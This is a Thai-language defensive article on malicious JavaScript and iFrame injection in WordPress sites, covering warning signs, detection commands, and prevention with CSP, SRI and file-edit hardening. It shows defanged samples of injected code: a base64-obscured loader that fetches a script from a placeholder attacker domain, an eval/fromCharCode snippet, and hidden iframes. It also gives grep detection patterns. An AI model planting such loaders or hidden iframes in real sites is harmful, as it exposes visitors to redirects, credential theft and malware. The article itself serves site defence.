Malicious JavaScript และ iFrame Injection คืออะไร? ภัยเงียบที่ซ่อนในโค้ดเว็บ

JavaScript Injection คือการที่ผู้โจมตีแทรกโค้ด JavaScript ที่ไม่ได้รับอนุญาตเข้าไปในหน้าเว็บ เพื่อให้เบราว์เซอร์ของผู้เข้าชมรันโค้ดนั้นเสมือนเป็นส่วนหนึ่งของเว็บไซต์ ส่วน iFrame Injection คือการแทรกแท็ก <iframe> ที่ดึงหน้าเว็บจากแหล่งภายนอกมาแสดงซ้อนในหน้าเว็บของเรา ซึ่งมักตั้งขนาดเป็นศูนย์หรือซ่อนไว้จนมองไม่เห็น ทั้งสองแบบจัดอยู่ในกลุ่มที่ Google เรียกว่า Hacked: Code injection ในรายงาน Security Issues ของ Search Console

สิ่งที่ทำให้มัลแวร์กลุ่มนี้ถูกเรียกว่า “ภัยเงียบ” คือหน้าเว็บมักยังแสดงผลปกติ ข้อความและรูปภาพไม่เปลี่ยน แต่มีโค้ดทำงานอยู่เบื้องหลังในเบราว์เซอร์ของผู้เข้าชม บทความนี้เป็นส่วนหนึ่งของชุดบทความ มัลแวร์เว็บไซต์คืออะไร มีกี่แบบ โดยเน้นที่กลไก วิธีตรวจหา และการป้องกันด้วย Content Security Policy

JavaScript Injection คืออะไร

OWASP นิยาม Code Injection ว่าเป็นคำเรียกรวมของการโจมตีที่แทรกโค้ดเข้าไปแล้วถูกแอปพลิเคชันตีความหรือรันต่อ และมักเกิดจากการจัดการข้อมูลที่ไม่น่าเชื่อถือได้ไม่ดี เมื่อโค้ดที่ถูกแทรกเป็น JavaScript ที่ไปทำงานในเบราว์เซอร์ของผู้ใช้ จะใกล้เคียงกับสิ่งที่ OWASP อธิบายไว้ในหัวข้อ Cross-Site Scripting (XSS) คือการแทรกสคริปต์อันตรายเข้าไปในเว็บไซต์ที่ปกติไม่มีพิษภัยและผู้ใช้เชื่อถือ

ในบริบทของเว็บที่ถูกแฮก JavaScript Injection เกิดได้ 2 ทางหลัก

• ผ่านช่องโหว่ของแอปพลิเคชัน เช่น ปลั๊กอินที่ไม่กรองข้อมูลจากฟอร์ม ทำให้สคริปต์ถูกบันทึกลงฐานข้อมูลแล้วแสดงซ้ำทุกครั้งที่มีคนเปิดหน้านั้น ซึ่ง OWASP เรียกว่า Stored XSS
• ผ่านการเข้าถึงระบบโดยตรง เมื่อผู้โจมตีได้สิทธิ์ผู้ดูแลระบบ เข้า FTP ได้ หรือฝัง Backdoor ไว้แล้ว ก็สามารถแก้ไฟล์ Theme ไฟล์ JavaScript ของปลั๊กอิน หรือค่าในฐานข้อมูลได้เอง

ใน WordPress สิทธิ์ unfiltered_html คือสิทธิ์ที่อนุญาตให้ผู้ใช้โพสต์ HTML หรือแม้แต่โค้ด JavaScript ลงในหน้า บทความ ความคิดเห็น และวิดเจ็ต โดยบนเว็บไซต์เดี่ยว (single site) บทบาท Administrator และ Editor มีสิทธิ์นี้ เอกสารของ WordPress เองเตือนว่าการให้สิทธิ์นี้แก่ผู้ใช้ที่ไม่น่าไว้ใจอาจทำให้มีการโพสต์โค้ดอันตราย บัญชี Editor ที่ถูกขโมยรหัสผ่านจึงเพียงพอสำหรับการฝังสคริปต์ โดยไม่ต้องเข้าถึงไฟล์บนเซิร์ฟเวอร์เลย

iFrame Injection คืออะไร

ตามเอกสารของ MDN แท็ก <iframe> คือ “nested browsing context” หรือการฝังเอกสารเว็บอีกหน้าหนึ่งไว้ในหน้าปัจจุบัน การใช้งานปกติ เช่น ฝังวิดีโอหรือแผนที่ ไม่มีอันตราย แต่เมื่อผู้โจมตีแทรก iframe ที่ชี้ไปยังเซิร์ฟเวอร์ของตน เบราว์เซอร์ของผู้เข้าชมจะโหลดหน้านั้นทันทีที่เปิดเว็บ โดยผู้เข้าชมไม่ต้องคลิกอะไร

คู่มือ Hacked with malware ของ Google (web.dev) ยกตัวอย่างลักษณะที่พบบ่อยไว้ 2 แบบ คือแท็ก <script> ที่โหลดไฟล์ JavaScript จากโดเมนของผู้โจมตี และ iframe ที่ตั้ง width และ height เป็น 0 พร้อม display:none เพื่อให้มองไม่เห็นบนหน้าจอ

แฮกเกอร์ใช้ทำอะไร

โค้ดที่ถูกแทรกไม่ได้มีเป้าหมายเดียว แต่ทำงานได้ทุกอย่างที่ JavaScript ทำได้ในหน้าเว็บนั้น ตัวอย่างที่แหล่งอ้างอิงระบุไว้ ได้แก่

• พาผู้เข้าชมไปเว็บอื่น ทั้ง Google และ OWASP ระบุการ redirect ไปเว็บที่ผู้โจมตีควบคุมเป็นผลที่พบบ่อย รายละเอียดเรื่องนี้อยู่ในบทความ เว็บเด้งไปเว็บอื่น เกิดจากอะไร เช็กยังไง
• ขุดเหรียญคริปโตบนเครื่องผู้เข้าชม Google ยกเป็นตัวอย่างหนึ่งของ Code injection ดูเพิ่มที่ Cryptojacking คืออะไร
• ขโมยข้อมูลที่ผู้ใช้พิมพ์ คู่มือ Help, I’ve been hacked ของ Google ระบุว่าโค้ดอันตรายบางแบบบันทึกการกดแป้นพิมพ์และขโมยข้อมูลล็อกอินได้ เมื่อเป้าหมายคือฟอร์มชำระเงิน จะกลายเป็นการโจมตีแบบ Magecart หรือ Credit Card Skimmer
• แสดงโฆษณาแฝงหรือป๊อปอัป และแก้ไขเนื้อหาหน้าเว็บ ซึ่ง OWASP ระบุว่า XSS สามารถเปลี่ยนเนื้อหาที่ผู้ใช้เห็นได้
• ดึงโค้ดชุดถัดไปจากภายนอก โค้ดที่ฝังในเว็บมักเป็นเพียงตัวโหลด (loader) ขนาดเล็ก ส่วนโค้ดที่ทำงานจริงอยู่บนเซิร์ฟเวอร์ของผู้โจมตี จึงเปลี่ยนพฤติกรรมได้โดยไม่ต้องแก้เว็บเราซ้ำ

ตัวอย่างโค้ดที่ถูกฝังในหน้าเว็บ

ตัวอย่างในหัวข้อนี้ตัดส่วนที่ทำงานได้ออกแล้ว และเปลี่ยนโดเมนเป็นโดเมนสมมติ .example ใช้เพื่อให้จำหน้าตาได้เวลาเจอในเว็บของคุณเท่านั้น

<script>
(function () {
  if (document.cookie.indexOf('wordpress_logged_in') !== -1) return; // ไม่ทำงานกับแอดมินที่ล็อกอินอยู่
  var u = atob('aHR0cHM6Ly9iYWQtY2RuLmV4YW1wbGUv…');           // ถอดได้เป็นโดเมนของผู้โจมตี
  var s = document.createElement('script');
  s.src = u + '…';
  s.async = true;
  document.head.appendChild(s);
})();
</script>

<script>eval(String.fromCharCode(118,97,114,32,…));</script>

<iframe src="https://bad-site.example/…" width="0" height="0"
  frameborder="0" style="display:none;visibility:hidden"></iframe>

<div style="position:absolute;left:-9999px;top:-9999px">
  <iframe src="https://bad-site.example/…" width="1" height="1"></iframe>
</div>

สัญญาณเตือน

โค้ดกลุ่มนี้มักแสดงผลแบบมีเงื่อนไข เช่น เฉพาะผู้ใช้มือถือ เฉพาะคนที่มาจาก Google หรือเฉพาะคนที่ไม่ได้ล็อกอิน จึงควรสังเกตจากหลายทาง ไม่ใช่เพียงเปิดเว็บดูเอง

• ลูกค้าแจ้งว่าเจอป๊อปอัป โฆษณาแปลก หรือถูกพาไปเว็บอื่น แต่ผู้ดูแลเปิดแล้วไม่เจอ
• Search Console แจ้ง Security Issues ประเภท Code injection หรือ Malware
• เบราว์เซอร์แสดงหน้าเตือนสีแดงก่อนเข้าเว็บ ดูรายละเอียดใน Google เตือน “เว็บไซต์นี้อาจเป็นอันตราย”
• แท็บ Network ใน DevTools ของเบราว์เซอร์แสดงการโหลดไฟล์จากโดเมนที่ไม่ได้ติดตั้งไว้
• ไฟล์ .js หรือ .php ของ Theme มีวันที่แก้ไขล่าสุดใหม่กว่าการอัปเดตครั้งล่าสุดที่คุณทำ
• โปรแกรมสแกนของ Hosting หรือปลั๊กอินความปลอดภัยแจ้งพบโค้ดน่าสงสัย

วิธีตรวจหาโค้ดแปลกปลอม

การตรวจที่ได้ผลคือดูโค้ดจาก 3 มุม ได้แก่ HTML ที่ผู้เข้าชมได้รับจริง ไฟล์บนเซิร์ฟเวอร์ และข้อมูลในฐานข้อมูล ถ้าต้องการเครื่องมือสแกนออนไลน์ประกอบ ดูได้ที่ วิธีเช็คว่าเว็บไซต์ติดไวรัสด้วยเครื่องมือฟรี

1. ดู HTML ที่ผู้เข้าชมได้รับ

เปิดหน้าเว็บในหน้าต่างไม่ระบุตัวตน (ไม่ได้ล็อกอิน) แล้วกด View Page Source มองหาแท็ก <script src= และ <iframe ที่ชี้ไปโดเมนที่คุณไม่รู้จัก ข้อควรจำคือ View Source แสดง HTML ตอนโหลดครั้งแรกเท่านั้น สคริปต์ที่ถูกสร้างภายหลังโดย JavaScript จะเห็นในแท็บ Elements และ Network ของ DevTools แทน คู่มือของ Google แนะนำให้ใช้ curl หรือ wget ดึงหน้าเว็บโดยกำหนด referrer และ user-agent เพื่อจำลองผู้เข้าชมที่มาจาก Google ส่วนเครื่องมือ URL Inspection ใน Search Console ใช้ดู HTML ที่ Googlebot เห็นได้

2. ค้นในไฟล์และฐานข้อมูล

# รันในโฟลเดอร์รากของ WordPress (อ่านอย่างเดียว ไม่แก้ไฟล์)
grep -rnE "<iframe|atob\(|eval\(|fromCharCode|unescape\(" \
  wp-content/themes wp-content/plugins wp-content/uploads \
  --include=*.php --include=*.js --include=*.html | head -n 100

# หาไฟล์ที่ถูกแก้ไขใน 7 วันล่าสุด
find wp-content -type f \( -name "*.php" -o -name "*.js" \) -mtime -7 -ls

# ดึงหน้าเว็บแบบผู้ใช้มือถือที่มาจาก Google แล้วกรองเฉพาะ script/iframe
curl -s -A "Mozilla/5.0 (Linux; Android 14; Mobile)" \
  -e "https://www.google.com/" https://www.your-site.example/ \
  | grep -oiE "<(script|iframe)[^>]*>"

-- ใน phpMyAdmin: เนื้อหาบทความ/หน้า ที่มี iframe หรือ script
SELECT ID, post_title, post_type FROM wp_posts
WHERE post_content LIKE '%<iframe%' OR post_content LIKE '%<script%';

-- ค่าตั้งค่าที่มี script (เช่น ช่อง Header/Footer ของ Theme หรือปลั๊กอิน)
SELECT option_id, option_name FROM wp_options
WHERE option_value LIKE '%<script%' OR option_value LIKE '%atob(%';

# ด้วย WP-CLI: เทียบไฟล์ core และปลั๊กอินกับต้นฉบับบน WordPress.org
wp core verify-checksums
wp plugin verify-checksums --all

คู่มือของ Google ก็ใช้แนวทางเดียวกัน คือค้นฐานข้อมูลด้วย LIKE '%iframe%' เพื่อหาเนื้อหาที่ถูกแทรก วิธีหาไฟล์แปลกปลอมโดยละเอียดอยู่ในบทความ วิธีเช็กไฟล์แปลกปลอมใน WordPress เบื้องต้น และเมื่อพบโค้ดแล้ว อย่าลืมว่าต้องหาช่องทางที่ผู้โจมตีใช้เข้ามาด้วย มิฉะนั้นโค้ดจะกลับมาอีก

วิธีป้องกัน

ลดโอกาสที่โค้ดจะถูกแทรกได้ตั้งแต่แรก

• อัปเดต WordPress, Theme และปลั๊กอิน เพื่อปิดช่องโหว่ที่ใช้แทรกโค้ด เหตุผลอยู่ใน ทำไมต้องอัปเดต Plugin และ Theme
• จำกัดผู้ที่มีสิทธิ์ unfiltered_html ให้เหลือเฉพาะคนที่จำเป็น และเปิด 2FA ให้ทุกบัญชีที่มีสิทธิ์นี้
• ปิดตัวแก้ไขไฟล์ในหน้าแอดมิน ด้วย define( 'DISALLOW_FILE_EDIT', true ); ใน wp-config.php ซึ่งเอกสารของ WordPress ระบุว่าช่วยเพิ่มชั้นป้องกันในกรณีที่ผู้โจมตีได้บัญชีที่มีสิทธิ์สูง
• ใช้ WAF (Web Application Firewall) ที่ระดับ Hosting, CDN หรือปลั๊กอิน เพื่อกรองคำขอที่พยายามใช้ช่องโหว่ที่รู้จัก ดูภาพรวมมาตรการอื่นที่ Website Security Hardening คืออะไร
• ใช้ Subresource Integrity (SRI) กับไฟล์ที่โหลดจาก CDN ภายนอก MDN อธิบายว่า SRI ให้เราระบุค่า hash ของไฟล์ไว้ในแอตทริบิวต์ integrity ถ้าไฟล์ที่ได้รับไม่ตรงกับ hash เบราว์เซอร์จะไม่โหลดไฟล์นั้น เหมาะกับไฟล์เวอร์ชันตายตัว และไฟล์ข้ามโดเมนต้องใช้ร่วมกับแอตทริบิวต์ crossorigin

Content Security Policy (CSP)

MDN นิยาม Content Security Policy ว่าเป็นชุดคำสั่งที่เว็บไซต์ส่งให้เบราว์เซอร์ เพื่อจำกัดสิ่งที่โค้ดของหน้าเว็บทำได้ การใช้งานหลักคือกำหนดว่าหน้าเว็บโหลดทรัพยากร โดยเฉพาะ JavaScript ได้จากแหล่งใดบ้าง CSP ส่งผ่าน HTTP header ชื่อ Content-Security-Policy และมี directive แยกตามประเภททรัพยากร เช่น script-src สำหรับสคริปต์ และ frame-src สำหรับ iframe ถ้าสคริปต์หรือ iframe ที่ถูกแทรกชี้ไปโดเมนที่ไม่อยู่ในรายการ เบราว์เซอร์จะไม่โหลด

สำหรับเว็บ WordPress ที่ใช้งานอยู่แล้ว ควรเริ่มจากโหมด Content-Security-Policy-Report-Only ซึ่ง MDN อธิบายว่าเบราว์เซอร์จะไม่บังคับใช้นโยบาย แต่รายงานการละเมิดแทน ทำให้เห็นก่อนว่าถ้าบังคับจริงจะมีอะไรพังบ้าง ตัวอย่างนโยบายเริ่มต้นสำหรับ Apache มีดังนี้

<IfModule mod_headers.c>
Header set Content-Security-Policy-Report-Only "\
default-src 'self'; \
script-src 'self' 'unsafe-inline' https://analytics.vendor.example; \
style-src 'self' 'unsafe-inline'; \
img-src 'self' data: https:; \
font-src 'self' data:; \
connect-src 'self' https://analytics.vendor.example; \
frame-src 'self' https://video.vendor.example; \
object-src 'none'; \
base-uri 'self'; \
form-action 'self'; \
frame-ancestors 'self'"
</IfModule>

ความหมายของแต่ละ directive โดยสรุปคือ object-src 'none' ปิดการฝังปลั๊กอินแบบเก่า base-uri ป้องกันการเปลี่ยน URL ฐานของหน้า form-action จำกัดปลายทางที่ฟอร์มส่งข้อมูลไปได้ และ frame-ancestors ควบคุมว่าเว็บอื่นนำเว็บเราไปใส่ใน iframe ได้หรือไม่ ซึ่ง MDN ระบุว่าใช้ป้องกัน clickjacking และเป็นตัวแทนที่ยืดหยุ่นกว่า header X-Frame-Options ควรแยกให้ออกว่า frame-ancestors คุมการที่คนอื่นฝังเว็บเรา ส่วน frame-src คุม iframe ที่อยู่ในหน้าเว็บเรา ซึ่งเป็นตัวที่เกี่ยวกับ iFrame Injection

ข้อจำกัดของ CSP ที่ควรรู้

• 'unsafe-inline' ทำให้ CSP อ่อนลงมาก MDN เตือนว่าควรหลีกเลี่ยง เพราะ inline JavaScript เป็นช่องทาง XSS ที่พบบ่อยที่สุดช่องทางหนึ่ง แต่ WordPress, Theme และปลั๊กอินจำนวนมากยังพิมพ์สคริปต์แบบ inline ลงในหน้า นโยบายเริ่มต้นข้างต้นจึงยังต้องมีค่านี้ และไม่สามารถกันสคริปต์ inline ที่ถูกแทรกได้ ส่วนที่ยังป้องกันได้คือการโหลดไฟล์และ iframe จากโดเมนที่ไม่อยู่ในรายการ
• นโยบายแบบรายการโดเมน (allowlist) ทำให้ถูกต้องได้ยาก MDN ระบุว่านโยบายลักษณะนี้มักอนุญาตโดเมนที่ไม่ปลอดภัยโดยไม่ตั้งใจ และแนะนำ strict CSP ที่ใช้ nonce หรือ hash แทน ซึ่งต้องให้ Theme และปลั๊กอินทุกตัวรองรับการใส่ nonce จึงเป็นงานระดับนักพัฒนา
• CSP ไม่ช่วยเมื่อโค้ดอันตรายอยู่ในไฟล์ของเราเอง ถ้าผู้โจมตีต่อท้ายโค้ดลงในไฟล์ .js ของ Theme ไฟล์นั้นยังมาจาก 'self' และผ่านนโยบายได้ตามปกติ
• CSP ไม่ได้แทนการแก้ต้นเหตุ MDN ระบุชัดว่าการตั้ง CSP ไม่ใช่ทางเลือกแทนการกรองข้อมูลนำเข้า ต้องทำทั้งสองอย่างเพื่อป้องกันหลายชั้น

จากเคสที่เราแก้ โค้ดประเภทนี้มักอยู่หลายจุดพร้อมกัน ทั้งในไฟล์และในฐานข้อมูล การลบเฉพาะจุดที่เห็นจึงไม่พอ ถ้าตรวจแล้วพบโค้ดแต่ไม่แน่ใจว่าล้างครบหรือหาช่องทางที่ผู้โจมตีเข้ามาไม่เจอ ดูรายละเอียดบริการล้างไวรัสและมัลแวร์ WordPress

คำถามที่พบบ่อย

แหล่งอ้างอิง

1. Google. (ม.ป.ป.). Security issues report — Search Console Help. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://support.google.com/webmasters/answer/9044101
2. Google. (ม.ป.ป.). Hacked with malware. web.dev. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://web.dev/articles/hacked-with-malware
3. Google. (ม.ป.ป.). Help, I’ve been hacked. web.dev. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://web.dev/articles/hacked
4. OWASP Foundation. (ม.ป.ป.). Code Injection. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://community.owasp.org/attacks/Code_Injection
5. OWASP Foundation. (ม.ป.ป.). Cross Site Scripting (XSS). สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://community.owasp.org/attacks/xss/
6. MDN Web Docs. (ม.ป.ป.). <iframe>: The Inline Frame element. Mozilla. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe
7. MDN Web Docs. (ม.ป.ป.). Content Security Policy (CSP). Mozilla. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP
8. MDN Web Docs. (ม.ป.ป.). Content-Security-Policy header. Mozilla. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy
9. MDN Web Docs. (ม.ป.ป.). Content-Security-Policy-Report-Only header. Mozilla. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy-Report-Only
10. MDN Web Docs. (ม.ป.ป.). Subresource Integrity. Mozilla. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Subresource_Integrity
11. WordPress.org. (2026). Roles and Capabilities. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://wordpress.org/documentation/article/roles-and-capabilities/
12. WordPress.org. (ม.ป.ป.). wp-config.php — Advanced Administration Handbook. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
13. WordPress.org. (ม.ป.ป.). wp core verify-checksums — WP-CLI Commands. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.wordpress.org/cli/commands/core/verify-checksums/
14. WordPress.org. (ม.ป.ป.). wp plugin verify-checksums — WP-CLI Commands. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.wordpress.org/cli/commands/plugin/verify-checksums/